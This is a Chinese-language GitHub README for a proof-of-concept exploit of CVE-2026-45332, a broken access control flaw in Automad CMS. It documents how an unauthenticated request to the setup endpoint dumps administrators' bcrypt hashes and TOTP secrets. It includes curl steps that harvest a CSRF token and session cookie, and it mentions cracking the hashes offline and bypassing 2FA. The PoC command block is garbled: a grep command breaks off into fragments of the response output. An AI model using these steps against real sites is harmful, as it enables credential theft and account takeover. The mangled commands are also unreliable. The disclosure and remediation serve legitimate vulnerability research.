lorenzocamilli/CVE-2026-45332-PoC
GitHub: lorenzocamilli/CVE-2026-45332-PoC
Automad CMS CVE-2026-45332漏洞利用工具
Stars: 0 | Forks: 0
# CVE-2026-45332:Automad CMS 中断访问控制
**CVE-2026-45332** 的概念验证,这是 [Automad CMS](https://github.com/marcantondahmen/automad) 中的一种中断访问控制漏洞,允许任何未经身份验证的攻击者通过设置端点转储每个管理员账户的 bcrypt 密码哈希和 TOTP 秘密,该端点在初始配置后永远不会禁用。
| 字段 | 值 |
|---|---|
| **CVE** | [CVE-2026-45332](https://www.cve.org/CVERecord?id=CVE-2026-45332) |
| **GHSA** | [GHSA-xm76-r88j-vm3g](https://github.com/advisories/GHSA-xm76-r88j-vm3g) |
| **产品** | Automad CMS (composer `automad/automad`) |
| **受影响** | `>= 2.0.0-alpha.1`, `<= 2.0.0-beta.27` |
| **修复** | `2.0.0-beta.28` |
| **CVSS 3.1** | 7.5 高 (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`) |
| **CWE** | CWE-200 (敏感信息泄露), CWE-306 (关键功能缺少身份验证) |
| **研究员** | Lorenzo Camilli |
## 摘要
Automad 是一个基于文件的 PHP CMS。负责创建第一个管理员账户的设置端点 `/_api/user-collection/create-first-user` 被注册为一个永久公开的 API 路由。一旦初始配置完成,就没有守卫来关闭它。
在一个已配置的实时实例上,对该端点的未经身份验证的 `POST` 请求将从磁盘加载整个用户数据库,并将其序列化后以 JSON 响应体返回,包括:
- 每个管理员账户的 **bcrypt 密码哈希**
- **TOTP 秘密**(存在于 `2.0.0-beta.27`)
- 配置目录的 **绝对文件系统路径**
不需要先前的账户、凭证或特殊网络位置。
## 根本原因
该路由放置在 `automad/src/server/Routes.php` 中的 `$publicAPIRoutes` 数组内,并在条件 `AM_PAGE_DASHBOARD` 下注册,该条件是一个评估为字符串 `'/dashboard'` 的常量,因此始终为真。该路由在每次安装中都注册,包括设置完成后。
```
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
```
`User::__serialize()` 包含私有的 `passwordHash` 和 `totpSecret` 字段,因此它们最终嵌入在返回给调用者的序列化输出中。
完整技术分析:**[PoC.md](./PoC.md)**。
## 概念验证
该端点需要一个有效的 CSRF 令牌和一个 Automad 会话 cookie,这两个都可以从公开登录页面免费获得。重现:
```
# 1. 从公开登录页面抓取会话cookie和CSRF令牌
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=\" ... \"totpSecret\";s:N:\"\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
```
bcrypt 哈希可以随后离线破解(Hashcat / John)。在 `2.0.0-beta.27` 中,泄露的 TOTP 秘密直接绕过了双因素认证。
## 影响
未经身份验证的远程攻击者可以:
1. 获取每个管理员的 bcrypt 哈希并离线破解。
2. 获取 TOTP 秘密并绕过 2FA (`2.0.0-beta.27`)。
3. 了解绝对服务器文件系统路径,有助于进一步的攻击。
## 补救措施
更新到 **Automad 2.0.0-beta.28** 或更高版本,该版本在初始设置完成后会限制该端点。作为临时缓解措施,在 Web 服务器或 WAF 上阻止对 `/_api/user-collection/create-first-user` 的请求。
## 参考
- [CVE.org: CVE-2026-45332](https://www.cve.org/CVERecord?id=CVE-2026-45332)
- [GitHub Advisory: GHSA-xm76-r88j-vm3g](https://github.com/advisories/GHSA-xm76-r88j-vm3g)
- [Automad CMS](https://github.com/marcantondahmen/automad)
- [中断访问控制 (OWASP)](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
标签:威胁模拟